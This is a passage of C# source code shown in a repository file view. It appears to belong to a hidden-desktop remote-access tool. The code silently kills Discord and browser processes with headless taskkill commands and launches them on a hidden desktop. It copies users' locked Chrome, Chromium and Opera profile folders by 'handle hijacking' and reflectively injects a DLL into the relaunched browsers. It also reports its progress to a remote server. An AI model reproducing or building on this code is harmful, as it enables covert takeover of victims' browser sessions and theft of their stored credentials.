var cloneResult = await CloneBrowserProfileAsync(config.SearchPattern, config.ReplacementPath, browserType).ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
Debug.WriteLine($"{browserType} profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
int processId = await Task.Run(() => KDOTInjector.Start(dllbytes, config.ExecutablePath, config.SearchPattern, config.ReplacementPath)).ConfigureAwait(false);
|
||||
if (processId > 0)
|
||||
{
|
||||
Debug.WriteLine($"{browserType} started successfully with reflective DLL injection.");
|
||||
|
||||
if (browserType.Equals("Opera", StringComparison.OrdinalIgnoreCase) ||
|
||||
browserType.Equals("OperaGX", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
await Task.Delay(2000).ConfigureAwait(false);
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try
|
||||
{
|
||||
await OperaPatcher.PatchOperaAsync(maxRetries: 5, delayBetweenRetries: 1000).ConfigureAwait(false);
|
||||
}
|
||||
catch (Exception patchEx)
|
||||
{
|
||||
Debug.WriteLine($"{browserType} patcher error: {patchEx.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine($"Failed to start {browserType} process.");
|
||||
}
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
Debug.WriteLine($"Error during {browserType} DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
Debug.WriteLine($"{browserType} profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error starting {browserType}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
public bool CreateProc(string filePath)
|
||||
{
|
||||
STARTUPINFO structure = default(STARTUPINFO);
|
||||
structure.cb = Marshal.SizeOf<STARTUPINFO>(structure);
|
||||
structure.lpDesktop = this.DesktopName;
|
||||
// try setting position to 0,0
|
||||
structure.dwX = 0;
|
||||
structure.dwY = 0;
|
||||
structure.dwFlags = STARTF_USEPOSITION;
|
||||
PROCESS_INFORMATION process_INFORMATION = default(PROCESS_INFORMATION);
|
||||
return CreateProcess(null, filePath, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION);
|
||||
}
|
||||
|
||||
public void StartDiscord()
|
||||
{
|
||||
string discordPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\Discord\\Update.exe";
|
||||
if (!File.Exists(discordPath)) return;
|
||||
|
||||
string killCommand = "Conhost --headless cmd.exe /c taskkill /IM discord.exe /F";
|
||||
this.CreateProc(killCommand);
|
||||
Thread.Sleep(1000);
|
||||
string startCommand = "\"" + discordPath + "\" --processStart Discord.exe";
|
||||
this.CreateProc(startCommand);
|
||||
}
|
||||
|
||||
public void StartExplorer()
|
||||
{
|
||||
uint num = 2U;
|
||||
string name = "TaskbarGlomLevel";
|
||||
string name2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
|
||||
using (RegistryKey registryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(name2, true))
|
||||
{
|
||||
if (registryKey != null)
|
||||
{
|
||||
object value = registryKey.GetValue(name);
|
||||
if (value is uint)
|
||||
{
|
||||
uint num2 = (uint)value;
|
||||
if (num2 != num)
|
||||
{
|
||||
registryKey.SetValue(name, num, RegistryValueKind.DWord);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
string explorerPath = Environment.GetFolderPath(Environment.SpecialFolder.Windows) + "\\explorer.exe /NoUACCheck";
|
||||
this.CreateProc(explorerPath);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Clones browser profile from SearchPattern to ReplacementPath.
|
||||
/// Executes on a background thread to avoid blocking message processing.
|
||||
/// </summary>
|
||||
/// <param name="searchPattern">Relative path pattern (e.g., "Local\Google\Chrome\User Data")</param>
|
||||
/// <param name="replacementPath">Relative path for destination (e.g., "Local\Google\Chrome\KDOT")</param>
|
||||
private async Task<CloneResult> CloneBrowserProfileAsync(string searchPattern, string replacementPath, string browserName = null)
|
||||
{
|
||||
BrowserCloneProgressSession progressSession = null;
|
||||
Task completionTask = Task.CompletedTask;
|
||||
CloneResult cloneResult = default;
|
||||
|
||||
try
|
||||
{
|
||||
progressSession = await BrowserCloneProgressSession.TryCreateAsync(browserName).ConfigureAwait(false);
|
||||
progressSession?.ReportPreparing();
|
||||
|
||||
CancellationToken cancellationToken = progressSession?.CancellationToken ?? CancellationToken.None;
|
||||
|
||||
cloneResult = await Task.Run(() => CloneBrowserProfileInternal(
|
||||
searchPattern,
|
||||
replacementPath,
|
||||
cancellationToken,
|
||||
progressSession?.Progress)).ConfigureAwait(false);
|
||||
|
||||
bool completedSuccessfully = cloneResult.Success && !cloneResult.Cancelled;
|
||||
completionTask = progressSession?.ReportCompletionAsync(completedSuccessfully) ?? Task.CompletedTask;
|
||||
|
||||
return cloneResult;
|
||||
}
|
||||
catch
|
||||
{
|
||||
completionTask = progressSession?.ReportCompletionAsync(false) ?? Task.CompletedTask;
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
await completionTask.ConfigureAwait(false);
|
||||
progressSession?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
private CloneResult CloneBrowserProfileInternal(
|
||||
string searchPattern,
|
||||
string replacementPath,
|
||||
CancellationToken cancellationToken,
|
||||
IProgress<BrowserCloneProgress> progress)
|
||||
{
|
||||
string localSearch = searchPattern;
|
||||
string localReplacement = replacementPath;
|
||||
|
||||
string baseDir;
|
||||
if (localSearch.StartsWith("Local\\", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
||||
localSearch = localSearch.Substring(6);
|
||||
localReplacement = localReplacement.Substring(6);
|
||||
}
|
||||
else if (localSearch.StartsWith("Roaming\\", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
baseDir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
localSearch = localSearch.Substring(8);
|
||||
localReplacement = localReplacement.Substring(8);
|
||||
}
|
||||
else
|
||||
{
|
||||
Debug.WriteLine($"Invalid search pattern format: {localSearch}");
|
||||
return new CloneResult(false, false, string.Empty);
|
||||
}
|
||||
|
||||
string sourceDir = Path.Combine(baseDir, localSearch);
|
||||
string destDir = Path.Combine(baseDir, localReplacement);
|
||||
|
||||
try
|
||||
{
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
|
||||
UniversalDebugLogger.SendLogToServer($"Cloning browser profile from '{sourceDir}' to '{destDir}'");
|
||||
|
||||
if (!Directory.Exists(sourceDir))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Source directory does not exist: {sourceDir}");
|
||||
return new CloneResult(false, false, destDir);
|
||||
}
|
||||
|
||||
if (Directory.Exists(destDir))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Removing existing destination directory: {destDir}");
|
||||
DeleteFolder(destDir);
|
||||
}
|
||||
|
||||
cancellationToken.ThrowIfCancellationRequested();
|
||||
|
||||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Using handle hijacking for locked files...");
|
||||
bool success = HandleHijacker.ForceCopyDirectory(
|
||||
sourceDir,
|
||||
destDir,
|
||||
killIfFailed: false,
|
||||
progress,
|
||||
cancellationToken);
|
||||
|
||||
if (success)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Browser profile cloned successfully with handle hijacking.");
|
||||
}
|
||||
else
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Handle hijacking partial success, some files may be skipped.");
|
||||
}
|
||||
|
||||
return new CloneResult(success, false, destDir);
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("[BrowserClone] Operation cancelled by user.");
|
||||
CleanupCancelledClone(destDir);
|
||||
return new CloneResult(false, true, destDir);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Error cloning browser profile: {ex.Message}");
|
||||
CleanupCancelledClone(destDir);
|
||||
throw;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Waits for a process to complete with a timeout
|
||||
/// </summary>
|
||||
/// <param name="processInfo">Process information structure</param>
|
||||
/// <param name="timeoutMs">Timeout in milliseconds (default 5000ms)</param>
|
||||
/// <returns>True if process completed within timeout, false otherwise</returns>
|
||||
private bool WaitForProcessCompletion(PROCESS_INFORMATION processInfo, uint timeoutMs = 5000)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (processInfo.hProcess == IntPtr.Zero)
|
||||
return false;
|
||||
|
||||
uint result = WaitForSingleObject(processInfo.hProcess, timeoutMs);
|
||||
|
||||
CloseHandle(processInfo.hProcess);
|
||||
CloseHandle(processInfo.hThread);
|
||||
|
||||
return result == WAIT_OBJECT_0;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"Error waiting for process: {ex.Message}");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public async Task StartGenericChromiumAsync(byte[] dllbytes, string browserPath, string searchPattern, string replacementPath)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(browserPath) || !File.Exists(browserPath))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser executable not found at: {browserPath}");
|
||||
return;
|
||||
}
|
||||
|
||||
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Search pattern and replacement path are required for generic Chromium browser.");
|
||||
return;
|
||||
}
|
||||
|
||||
UniversalDebugLogger.SendLogToServer($"Starting Generic Chromium Browser: {browserPath}");
|
||||
UniversalDebugLogger.SendLogToServer($"Search Pattern: {searchPattern}");
|
||||
UniversalDebugLogger.SendLogToServer($"Replacement Path: {replacementPath}");
|
||||
|
||||
string processName = Path.GetFileNameWithoutExtension(browserPath);
|
||||
string killCommand = $"Conhost --headless cmd.exe /c taskkill /IM {processName}.exe /F";
|
||||
|
||||
STARTUPINFO startupInfo = default(STARTUPINFO);
|
||||
startupInfo.cb = Marshal.SizeOf<STARTUPINFO>(startupInfo);
|
||||
startupInfo.lpDesktop = this.DesktopName;
|
||||
startupInfo.dwX = 0;
|
||||
startupInfo.dwY = 0;
|
||||
startupInfo.dwFlags = STARTF_USEPOSITION;
|
||||
PROCESS_INFORMATION processInfo = default(PROCESS_INFORMATION);
|
||||
|
||||
UniversalDebugLogger.SendLogToServer($"Killing any existing {processName}.exe processes...");
|
||||
if (CreateProcess(null, killCommand, IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref startupInfo, ref processInfo))
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Waiting for {processName}.exe processes to terminate...");
|
||||
WaitForProcessCompletion(processInfo, 5000);
|
||||
}
|
||||
else
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Failed to create taskkill process, using fallback delay.");
|
||||
await Task.Delay(500).ConfigureAwait(false);
|
||||
}
|
||||
|
||||
string friendlyName = Path.GetFileNameWithoutExtension(browserPath);
|
||||
if (string.IsNullOrWhiteSpace(friendlyName))
|
||||
{
|
||||
friendlyName = "Chromium";
|
||||
}
|
||||
|
||||
var cloneResult = await CloneBrowserProfileAsync(searchPattern, replacementPath, friendlyName).ConfigureAwait(false);
|
||||
if (cloneResult.Cancelled)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user – skipping injection.");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
await Task.Run(() => KDOTInjector.Start(dllbytes, browserPath, searchPattern, replacementPath)).ConfigureAwait(false);
|
||||
UniversalDebugLogger.SendLogToServer($"Generic Chromium browser started successfully with reflective DLL injection.");
|
||||
}
|
||||
catch (Exception injectionEx)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Error during generic Chromium DLL injection: {injectionEx.Message}");
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer("Generic Chromium profile cloning cancelled by user.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
UniversalDebugLogger.SendLogToServer($"Error starting generic Chromium browser: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private string DesktopName;
|
||||
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
|
||||
public string lpReserved;
|
||||
|
||||
public string lpDesktop;
|
||||
|
||||
public string lpTitle;
|
||||
|
||||
public int dwX;
|
||||
|
||||
public int dwY;
|
||||
|
||||
public int dwXSize;
|
||||
|
||||
public int dwYSize;
|
||||
|
||||
public int dwXCountChars;
|
||||
|
||||
public int dwYCountChars;
|
||||
|
||||
public int dwFillAttribute;
|
||||
|
||||
public int dwFlags;
|
||||
|
||||
public short wShowWindow;
|
||||
|
||||
public short cbReserved2;
|
||||
|
||||
public IntPtr lpReserved2;
|
||||
|
||||
public IntPtr hStdInput;
|
||||
|
||||
public IntPtr hStdOutput;
|
||||
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
internal struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
|
||||
public IntPtr hThread;
|
||||
|
||||
public int dwProcessId;
|
||||
|
||||
public int dwThreadId;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user